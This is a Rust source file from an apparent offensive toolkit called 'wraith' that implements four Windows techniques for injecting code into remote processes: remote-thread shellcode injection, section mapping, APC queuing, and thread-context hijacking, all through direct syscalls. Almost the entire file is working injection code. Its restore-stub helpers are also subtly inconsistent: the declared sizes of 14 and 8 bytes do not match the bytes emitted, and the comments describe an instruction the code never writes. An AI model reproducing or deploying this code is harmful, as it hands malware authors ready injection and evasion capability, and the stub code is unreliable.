wraith/manipulation/remote/
inject.rs

1//! Injection methods for remote processes
2//!
3//! Provides various techniques for code injection:
4//! - CreateRemoteThread (shellcode/DLL injection)
5//! - NtMapViewOfSection (section mapping)
6//! - APC injection (queue user APC)
7//! - Thread hijacking (context manipulation)
8
9use super::process::RemoteProcess;
10use super::thread::{create_remote_thread, RemoteThreadOptions};
11use crate::error::{Result, WraithError};
12use crate::manipulation::syscall::{
13    get_syscall_table, nt_close, nt_success, DirectSyscall,
14    PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_READWRITE,
15};
16
17/// injection method enumeration
18#[derive(Debug, Clone, Copy, PartialEq, Eq)]
19pub enum InjectionMethod {
20    /// CreateRemoteThread with shellcode
21    RemoteThread,
22    /// NtMapViewOfSection
23    SectionMapping,
24    /// QueueUserAPC
25    Apc,
26    /// Thread context hijacking
27    ThreadHijack,
28}
29
30/// result of a successful injection
31#[derive(Debug)]
32pub struct InjectionResult {
33    pub method: InjectionMethod,
34    pub remote_address: usize,
35    pub thread_id: Option<u32>,
36    pub size: usize,
37}
38
39/// inject shellcode via remote thread creation
40pub fn inject_shellcode(
41    process: &RemoteProcess,
42    shellcode: &[u8],
43) -> Result<InjectionResult> {
44    // allocate memory for shellcode
45    let alloc = process.allocate_rw(shellcode.len())?;
46
47    // write shellcode
48    process.write(alloc.base(), shellcode)?;
49
50    // change to RX
51    process.protect(alloc.base(), alloc.size(), PAGE_EXECUTE_READ)?;
52
53    // create remote thread
54    let thread = create_remote_thread(
55        process,
56        alloc.base(),
57        0,
58        RemoteThreadOptions::default(),
59    )?;
60
61    let base = alloc.leak(); // don't free, thread is using it
62
63    Ok(InjectionResult {
64        method: InjectionMethod::RemoteThread,
65        remote_address: base,
66        thread_id: Some(thread.id()),
67        size: shellcode.len(),
68    })
69}
70
71/// inject via NtMapViewOfSection
72pub fn inject_via_section(
73    process: &RemoteProcess,
74    data: &[u8],
75    executable: bool,
76) -> Result<InjectionResult> {
77    // create section
78    let section_handle = create_section(data.len(), executable)?;
79
80    // map section into current process to write data
81    let local_base = map_section_local(section_handle, data.len())?;
82
83    // copy data to section
84    unsafe {
85        core::ptr::copy_nonoverlapping(
86            data.as_ptr(),
87            local_base as *mut u8,
88            data.len(),
89        );
90    }
91
92    // unmap from current process
93    unmap_section_local(local_base)?;
94
95    // map section into remote process
96    let remote_base = map_section_remote(process, section_handle, data.len(), executable)?;
97
98    // close section handle
99    let _ = nt_close(section_handle);
100
101    Ok(InjectionResult {
102        method: InjectionMethod::SectionMapping,
103        remote_address: remote_base,
104        thread_id: None,
105        size: data.len(),
106    })
107}
108
109fn create_section(size: usize, executable: bool) -> Result<usize> {
110    let table = get_syscall_table()?;
111    let syscall = DirectSyscall::from_table(table, "NtCreateSection")?;
112
113    let mut section_handle: usize = 0;
114    let mut max_size: i64 = size as i64;
115
116    let protection = if executable {
117        PAGE_EXECUTE_READWRITE
118    } else {
119        PAGE_READWRITE
120    };
121
122    // SAFETY: all parameters are valid
123    let status = unsafe {
124        syscall.call_many(&[
125            &mut section_handle as *mut usize as usize, // SectionHandle
126            SECTION_ALL_ACCESS as usize,                 // DesiredAccess
127            0,                                           // ObjectAttributes
128            &mut max_size as *mut i64 as usize,          // MaximumSize
129            protection as usize,                         // SectionPageProtection
130            SEC_COMMIT as usize,                         // AllocationAttributes
131            0,                                           // FileHandle
132        ])
133    };
134
135    if nt_success(status) {
136        Ok(section_handle)
137    } else {
138        Err(WraithError::SectionMappingFailed {
139            reason: format!("NtCreateSection failed: {:#x}", status as u32),
140        })
141    }
142}
143
144fn map_section_local(section_handle: usize, size: usize) -> Result<usize> {
145    let table = get_syscall_table()?;
146    let syscall = DirectSyscall::from_table(table, "NtMapViewOfSection")?;
147
148    let mut base_address: usize = 0;
149    let mut view_size: usize = size;
150    let current_process: usize = usize::MAX; // pseudo handle for current process
151
152    // SAFETY: mapping into current process
153    let status = unsafe {
154        syscall.call_many(&[
155            section_handle,
156            current_process,
157            &mut base_address as *mut usize as usize,
158            0, // ZeroBits
159            0, // CommitSize
160            0, // SectionOffset
161            &mut view_size as *mut usize as usize,
162            2, // ViewUnmap
163            0, // AllocationType
164            PAGE_READWRITE as usize,
165        ])
166    };
167
168    if nt_success(status) {
169        Ok(base_address)
170    } else {
171        Err(WraithError::SectionMappingFailed {
172            reason: format!("NtMapViewOfSection (local) failed: {:#x}", status as u32),
173        })
174    }
175}
176
177fn unmap_section_local(base_address: usize) -> Result<()> {
178    let table = get_syscall_table()?;
179    let syscall = DirectSyscall::from_table(table, "NtUnmapViewOfSection")?;
180
181    let current_process: usize = usize::MAX;
182
183    let status = unsafe { syscall.call2(current_process, base_address) };
184
185    if nt_success(status) {
186        Ok(())
187    } else {
188        Err(WraithError::SectionMappingFailed {
189            reason: format!("NtUnmapViewOfSection failed: {:#x}", status as u32),
190        })
191    }
192}
193
194fn map_section_remote(
195    process: &RemoteProcess,
196    section_handle: usize,
197    size: usize,
198    executable: bool,
199) -> Result<usize> {
200    let table = get_syscall_table()?;
201    let syscall = DirectSyscall::from_table(table, "NtMapViewOfSection")?;
202
203    let mut base_address: usize = 0;
204    let mut view_size: usize = size;
205
206    let protection = if executable {
207        PAGE_EXECUTE_READ
208    } else {
209        PAGE_READWRITE
210    };
211
212    // SAFETY: mapping into remote process
213    let status = unsafe {
214        syscall.call_many(&[
215            section_handle,
216            process.handle(),
217            &mut base_address as *mut usize as usize,
218            0, // ZeroBits
219            0, // CommitSize
220            0, // SectionOffset
221            &mut view_size as *mut usize as usize,
222            2, // ViewUnmap
223            0, // AllocationType
224            protection as usize,
225        ])
226    };
227
228    if nt_success(status) {
229        Ok(base_address)
230    } else {
231        Err(WraithError::SectionMappingFailed {
232            reason: format!("NtMapViewOfSection (remote) failed: {:#x}", status as u32),
233        })
234    }
235}
236
237/// inject via APC (Asynchronous Procedure Call)
238///
239/// requires a thread handle with appropriate access rights
240pub fn inject_apc(
241    process: &RemoteProcess,
242    thread_handle: usize,
243    shellcode: &[u8],
244) -> Result<InjectionResult> {
245    // allocate and write shellcode
246    let alloc = process.allocate_rw(shellcode.len())?;
247    process.write(alloc.base(), shellcode)?;
248    process.protect(alloc.base(), alloc.size(), PAGE_EXECUTE_READ)?;
249
250    // queue APC
251    queue_user_apc(thread_handle, alloc.base(), 0)?;
252
253    let base = alloc.leak();
254
255    Ok(InjectionResult {
256        method: InjectionMethod::Apc,
257        remote_address: base,
258        thread_id: None,
259        size: shellcode.len(),
260    })
261}
262
263fn queue_user_apc(thread_handle: usize, apc_routine: usize, argument: usize) -> Result<()> {
264    let table = get_syscall_table()?;
265    let syscall = DirectSyscall::from_table(table, "NtQueueApcThread")?;
266
267    // SAFETY: valid thread handle and APC routine
268    let status = unsafe {
269        syscall.call5(
270            thread_handle,
271            apc_routine,
272            argument,
273            0, // ApcContext1
274            0, // ApcContext2
275        )
276    };
277
278    if nt_success(status) {
279        Ok(())
280    } else {
281        Err(WraithError::ApcQueueFailed {
282            reason: format!("NtQueueApcThread failed: {:#x}", status as u32),
283        })
284    }
285}
286
287/// inject via thread hijacking (context manipulation)
288///
289/// suspends target thread, modifies its context to execute shellcode,
290/// then resumes it
291pub fn inject_thread_hijack(
292    process: &RemoteProcess,
293    thread_handle: usize,
294    shellcode: &[u8],
295) -> Result<InjectionResult> {
296    // suspend thread
297    let suspend_count = unsafe { SuspendThread(thread_handle) };
298    if suspend_count == u32::MAX {
299        return Err(WraithError::ThreadSuspendResumeFailed {
300            reason: "SuspendThread failed".into(),
301        });
302    }
303
304    // allocate memory for shellcode + saved context restoration stub
305    let total_size = shellcode.len() + get_context_restore_stub_size();
306    let alloc = process.allocate_rwx(total_size)?;
307
308    // get current thread context
309    let mut context = get_thread_context(thread_handle)?;
310
311    // write shellcode
312    process.write(alloc.base(), shellcode)?;
313
314    // save original RIP and modify context
315    #[cfg(target_arch = "x86_64")]
316    let original_rip = context.rip;
317    #[cfg(target_arch = "x86")]
318    let original_rip = context.eip;
319
320    // write restoration stub after shellcode
321    let stub_offset = shellcode.len();
322    let restore_stub = create_context_restore_stub(original_rip as usize);
323    process.write(alloc.base() + stub_offset, &restore_stub)?;
324
325    // modify context to point to our shellcode
326    #[cfg(target_arch = "x86_64")]
327    {
328        context.rip = alloc.base() as u64;
329    }
330    #[cfg(target_arch = "x86")]
331    {
332        context.eip = alloc.base() as u32;
333    }
334
335    // set modified context
336    set_thread_context(thread_handle, &context)?;
337
338    // resume thread
339    let resume_result = unsafe { ResumeThread(thread_handle) };
340    if resume_result == u32::MAX {
341        return Err(WraithError::ThreadSuspendResumeFailed {
342            reason: "ResumeThread failed".into(),
343        });
344    }
345
346    let base = alloc.leak();
347
348    Ok(InjectionResult {
349        method: InjectionMethod::ThreadHijack,
350        remote_address: base,
351        thread_id: None,
352        size: total_size,
353    })
354}
355
356#[cfg(target_arch = "x86_64")]
357fn get_context_restore_stub_size() -> usize {
358    // push rax; mov rax, <addr>; jmp rax = 2 + 10 + 2 = 14 bytes
359    14
360}
361
362#[cfg(target_arch = "x86")]
363fn get_context_restore_stub_size() -> usize {
364    // push eax; mov eax, <addr>; jmp eax = 1 + 5 + 2 = 8 bytes
365    8
366}
367
368#[cfg(target_arch = "x86_64")]
369fn create_context_restore_stub(return_address: usize) -> Vec<u8> {
370    let mut stub = Vec::with_capacity(14);
371    // mov rax, <address>
372    stub.push(0x48);
373    stub.push(0xB8);
374    stub.extend_from_slice(&(return_address as u64).to_le_bytes());
375    // jmp rax
376    stub.push(0xFF);
377    stub.push(0xE0);
378    stub
379}
380
381#[cfg(target_arch = "x86")]
382fn create_context_restore_stub(return_address: usize) -> Vec<u8> {
383    let mut stub = Vec::with_capacity(8);
384    // mov eax, <address>
385    stub.push(0xB8);
386    stub.extend_from_slice(&(return_address as u32).to_le_bytes());
387    // jmp eax
388    stub.push(0xFF);
389    stub.push(0xE0);
390    stub
391}
392
393#[cfg(target_arch = "x86_64")]
394#[repr(C, align(16))]
395struct ThreadContext {
396    p1_home: u64,
397    p2_home: u64,
398    p3_home: u64,
399    p4_home: u64,
400    p5_home: u64,
401    p6_home: u64,
402    context_flags: u32,
403    mx_csr: u32,
404    seg_cs: u16,
405    seg_ds: u16,
406    seg_es: u16,
407    seg_fs: u16,
408    seg_gs: u16,
409    seg_ss: u16,
410    eflags: u32,
411    dr0: u64,
412    dr1: u64,
413    dr2: u64,
414    dr3: u64,
415    dr6: u64,
416    dr7: u64,
417    rax: u64,
418    rcx: u64,
419    rdx: u64,
420    rbx: u64,
421    rsp: u64,
422    rbp: u64,
423    rsi: u64,
424    rdi: u64,
425    r8: u64,
426    r9: u64,
427    r10: u64,
428    r11: u64,
429    r12: u64,
430    r13: u64,
431    r14: u64,
432    r15: u64,
433    rip: u64,
434    // remaining fields for FPU/XMM state (we don't need to modify these)
435    _padding: [u8; 512],
436}
437
438#[cfg(target_arch = "x86")]
439#[repr(C)]
440struct ThreadContext {
441    context_flags: u32,
442    dr0: u32,
443    dr1: u32,
444    dr2: u32,
445    dr3: u32,
446    dr6: u32,
447    dr7: u32,
448    float_save: [u8; 112],
449    seg_gs: u32,
450    seg_fs: u32,
451    seg_es: u32,
452    seg_ds: u32,
453    edi: u32,
454    esi: u32,
455    ebx: u32,
456    edx: u32,
457    ecx: u32,
458    eax: u32,
459    ebp: u32,
460    eip: u32,
461    seg_cs: u32,
462    eflags: u32,
463    esp: u32,
464    seg_ss: u32,
465    _extended: [u8; 512],
466}
467
468#[cfg(target_arch = "x86_64")]
469const CONTEXT_FULL: u32 = 0x10000B;
470#[cfg(target_arch = "x86")]
471const CONTEXT_FULL: u32 = 0x1000B;
472
473fn get_thread_context(thread_handle: usize) -> Result<ThreadContext> {
474    let mut context: ThreadContext = unsafe { core::mem::zeroed() };
475    context.context_flags = CONTEXT_FULL;
476
477    let result = unsafe { GetThreadContext(thread_handle, &mut context) };
478    if result == 0 {
479        return Err(WraithError::ThreadContextFailed {
480            reason: format!("GetThreadContext failed: {}", unsafe { GetLastError() }),
481        });
482    }
483
484    Ok(context)
485}
486
487fn set_thread_context(thread_handle: usize, context: &ThreadContext) -> Result<()> {
488    let result = unsafe { SetThreadContext(thread_handle, context) };
489    if result == 0 {
490        return Err(WraithError::ThreadContextFailed {
491            reason: format!("SetThreadContext failed: {}", unsafe { GetLastError() }),
492        });
493    }
494    Ok(())
495}
496
497// section access rights
498const SECTION_ALL_ACCESS: u32 = 0xF001F;
499const SEC_COMMIT: u32 = 0x8000000;
500
501#[link(name = "kernel32")]
502extern "system" {
503    fn SuspendThread(hThread: usize) -> u32;
504    fn ResumeThread(hThread: usize) -> u32;
505    fn GetThreadContext(hThread: usize, lpContext: *mut ThreadContext) -> i32;
506    fn SetThreadContext(hThread: usize, lpContext: *const ThreadContext) -> i32;
507    fn GetLastError() -> u32;
508}
509
510#[cfg(test)]
511mod tests {
512    use super::*;
513
514    #[test]
515    fn test_context_restore_stub() {
516        let stub = create_context_restore_stub(0x12345678);
517        assert!(!stub.is_empty());
518
519        #[cfg(target_arch = "x86_64")]
520        {
521            assert_eq!(stub.len(), 12); // movabs + jmp
522            assert_eq!(stub[0], 0x48); // REX.W prefix
523            assert_eq!(stub[1], 0xB8); // MOV RAX, imm64
524        }
525    }
526
527    #[test]
528    fn test_injection_method_enum() {
529        let method = InjectionMethod::RemoteThread;
530        assert_eq!(method, InjectionMethod::RemoteThread);
531
532        let method = InjectionMethod::SectionMapping;
533        assert_eq!(method, InjectionMethod::SectionMapping);
534    }
535}